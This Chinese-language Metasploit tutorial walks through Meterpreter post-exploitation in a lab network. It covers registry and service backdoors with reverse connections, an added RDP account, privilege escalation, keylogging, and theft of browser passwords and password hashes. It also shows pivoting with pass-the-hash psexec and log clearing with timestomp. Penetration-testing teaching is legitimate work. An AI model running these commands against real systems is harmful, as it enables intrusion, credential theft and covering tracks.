Meterpreter 是一个提供了运行时刻可扩展远程 API 调用的攻击载荷模块,后渗透攻击脚本由 Meterpreter 客户端所解释,再远程调用 Meterpreter 服务端 (即运行在目标机上的攻击载荷) 提供的 API 来实现的。
输入命令:run persistence -X -i 5 -p 443 -r 10.10.10.128
在 Meterpreter 会话中运行 persistence 后渗透攻击模块,在目标主机的注册表键 KHLM\Software\Microsoft\windows\Currentversion\Run 中添加键值达到自启动的目的;-X
参数指定启动的方式为开机自启动;-i
参数指定反向连接的时间间隔;然后建立 Meterpreter 的客户端,-p
参数指定回连的 443 端口进行监听;-r
参数指定回连的主机,然后等待后门重新连接。具体操作如下:
选择 exploit/multi/handler
模块,并选择 Meterpreter 回连会话的攻击载荷,执行 exploit 命令将开启监听,等目标主机重启之后,会通过注册表项中的自启动键设置启动 Meterpreter 攻击载荷,成功建立反向连接。
使 Meterpreter 攻击载荷在目标主机上持久化的另一种方法是:利用 Metasploit 的 metsvc 后渗透攻击模块,将 Meterpreter 以系统服务的形式安装到目标主机上。具体操作命令如下:
只需要输入 run metsvc
运行 metsvc 模块,将在目标主机的 31337 端口开启后门监听服务,并上传三个 Meterpreter 的模块:
服务安装成功后,将在目标主机上开启监听并等待连接。
以上这两个 Metasploit 后渗透攻击模块虽然解决了 Meterpreter 的持久控制问题,但是使用的技术非常普通与简单,隐蔽性较低,如果想提高隐蔽性,则可以上传经过免杀处理后的远程控制工具进行控制。
在渗透测试过程中,图形界面的操作方式更加方便省时,而且在特殊情况下,比命令行 Shell 会有更大优势,比如遇到关闭对方主机的系统安全盾需要输入图片形式验证码的场景。
Metasploit 平台提供了可以通过 Meterpreter 会话开启远程桌面的后渗透攻击模块 getgui。具体操作如下:
通过命令 run getgui -u yt -p yt
在目标主机上添加了账号 “yt”,其密码为“yt”。并开启了远程终端控制,这时本地连接目标 IP 的 3389 端口即可进行远程控制,如果对方处在内网中的话,可以使用 portfwd 命令进行端口转发。
注意:脚本运行的最后在 /root/.msf4/logs/scripts/getgui
生成了 clean_up_20190218.3938.rc 脚本。当在远程桌面终端操作完之后,可以使用这个脚本清除痕迹、关闭服务、删除添加的账号,如下所示:
想修改注册表、植入后面,一般需要获得目标主机的完全系统控制权。以 Windows 操作系统为例,用户必须具有 Administrator 管理员权限 或 SYSTEM 权限,才能够进行操作系统的设置与修改。而如果只有普通用户的权限,只能浏览被允许读取的文件,运行系统管理员允许其运行的软件,而不能修改系统配置和存取系统重要文件。
Meterpreter 的 getsystem 命令集成了 4 种权限提升技术。首先查看 getsystem 的帮助:
其中第一种和第四种技术分别利用的是 MS09-012 和 MS10-015 中的漏洞,括号的内容只是了提权所需的环境与初始权限。
通过 dumplink 模块来获得目标主机最佳进行的系统操作、访问文件和 Office 文档的操作记录。
在 Meterpreter 会话中运行 run post/windows/gather/dumplinks
命令之后,这个模块运行较慢,原因是对每一个 LNK 文件,Metasploit 都在 、root/.msf4/loot 目录下生成了对应的记录文件,包含了这个 LNK 文件对应的原始文件位置、创建和修改的时间等信息。
通过 enum——applications 模块可以获得目标主机安装的软件、安全更新与漏洞补丁信息。
使用 keyscan_start
命令启动键盘记录功能;
keyscan_dump
命令能输出截获到的用户输入,包括回车退格等特殊字符;
keyscan_stop
命令退出。
首先输入在 Meterpreter 会话中输入命令 use sniffer
加载数据包嗅探模块 sniffer:
输入 help
命令查看嗅探模块帮助信息:
sniffer 模块包嗅探是捕获指定网卡上的数据信息,因此需要先使用 sniffer_interfaces
命令获得目标主机的网络接口信息;再使用 sniffer_start
指定网卡开启嗅探;使用 sniffer_dump
命令选择指定网卡进行监听,将截获到的数据保存到本地文件中。具体操作如下:
而捕获的网络数据包会以标准的 PCAP 文件格式进行存储,可以使用 WireShark 等工具进行查看和分析:
Metasploit 提供的后渗透攻击模块 post/windows/gather/enum_ie
可以读取缓存的 IE 浏览器密码:
注:此处演示没有太过具体,故没有获取到相应的信息。实战中通过输入命令 run post/windows/gather/enum_ie
可以将目标主机的 IE 浏览历史记录、保存的 Cookie 以及 IE 缓存的密码都保存到本地文件中,可以打开本地缓存密码文件进行查看。
对于系统口令的攫取,Meterpreter 的用户接口命令里就有集成的 hashdump
命令,可以直接获取系统的密码哈希。
但是 Meterpreter 的 hashdump 命令在非 system 权限下会失败,而且在 Windows 7/Vista、Windows 2008 Server 下有时候会出现进程移植不成功等问题。而 Metasploit 中的后渗透攻击模块 smart_hashdump
功能更为强大。
smart_hashdump 后渗透攻击模块的工作流程如下:
① 检查会话具有的权限和目标操作系统类型;
② 检查目标机是否是域控制服务器;
③ 在以上信息的基础上,首先尝试直接从注册表中读取哈希值,不成功的话再尝试注入 LSASS 进程,如果是域控制器将直接对 LSASS 进程进行注入;
④ 如果目标系统是 Windows 2008 Server,而且会话具有管理员权限,这时使用 getsystem
命令尝试获得 system 权限,如果在 system 权限下不能注入;LSASS 进程,这时候会用 migrate
命令将代码一直到已经运行在 system 权限的进程中,然后再对 LSASS 进程进行注入;
⑤ 如果检测到目标系统是 Windows 7/Vista,UAC 已经关闭,而且会话具有本地管理员权限,这时运行 getsystem 命令从注册表中读取;
⑥ 在 Windows 2003/2000/XP 系统下直接运行 getsystem 命令,如果成功再从注册表中读取哈希值。
可以看出,smart_hashdump 模块考虑到了在多种系统环境下密码哈希获取的差异,以及在 LSASS 进程注入不成功情况下的解决办法,成功率提高不少。如果 Windows 7 开启了 UAC,这时需要首先使用绕过 Windows 7 UAC 的后渗透攻击模块。
这些密码信息会保存在数据库中。
收集到的这些口令哈希有两种利用方法:
在实际渗透测试过程中,常常涉及一个内网渗透过程。这是因为目标网络可能只有一个互联网出口,由于路由问题,攻击机无法直接访问到内网及其。然而在内网中实施攻击有一定又是,内网中的安全防护一般会比较低,有时候甚至能监听到所有的内网流量。
Metasploit 支持通过某个会话对内网及其进行拓展。简单地说就是以被攻陷的主机作为跳板,再对内网的其他主机进行攻击。
首先在 Meterpreter 控制台中运行 get_local_subnets
扩展脚本,可以得到受控主机所配置的内网网段信息。
然后输入 background
命令跳转到 MSF 终端里,这时 Meterpreter 会话任在运行。
接着在 MSF 终端执行添加路由命令 route add 10.10.10.0 255.255.255.0 2
,告知系统将 10.10.10.0/24 网段 (即受控主机的本地网络) 通过会话 2 进行路由;然后通过 route print
命令可以查看当前活跃的路由设置。可以看到 Metasploit 成功的在会话 2 上添加了 10.10.10.0/24 这个网段的路由,这意味着你对 10.10.10.0/24 网段的所有攻击和控制的流量都将通过会话 2 进行转发。
配置完毕后,可以对 10.10.10.0/24 网段简单地进行 445 端口扫描:
可以看到开启了 445 端口的主机,很可能是启用了 Windows 文件与打印共享服务。
这时可以利用之前攫取的口令哈希进行哈希传递攻击。
一旦用户使用相同的口令登录这些主机,就可以利用攫取到的口令哈希获取访问权。
在建立起攻击机到目标网段的路由转发路径之后,就可以在攻击机的 MSF 终端上利用 psexec 模块use exploit/windows/smb/psexec
;设置一个回连的 Meterpreter 攻击载荷 set payload windows/meterpreter/reverse_tcp
;回连至攻击机 IP 地址set LHOST 10.10.10.132
和 回连的端口号 set LPORT 443
;设置扫描出的目标主机 IP 地址 set RHOST 10.10.10.129
;然后设置 SMBPass 为之前攫取到的口令哈希值 set SMBPass ***
。执行 exploit
命令后,就会尝试以此口令进行 SMB 的身份认证,一旦命中口令,就会成功打开一个 Meterpreter 会话。
可以利用 Meterpreter 中提供的 clearev
命令清除日志中留下的入侵痕迹:
对文件进行操作可能会改变文件的修改或访问时间,此时使用 Meterpreter 的 timestomp 命令修改文件的创建时间、最后写入与最后访问时间: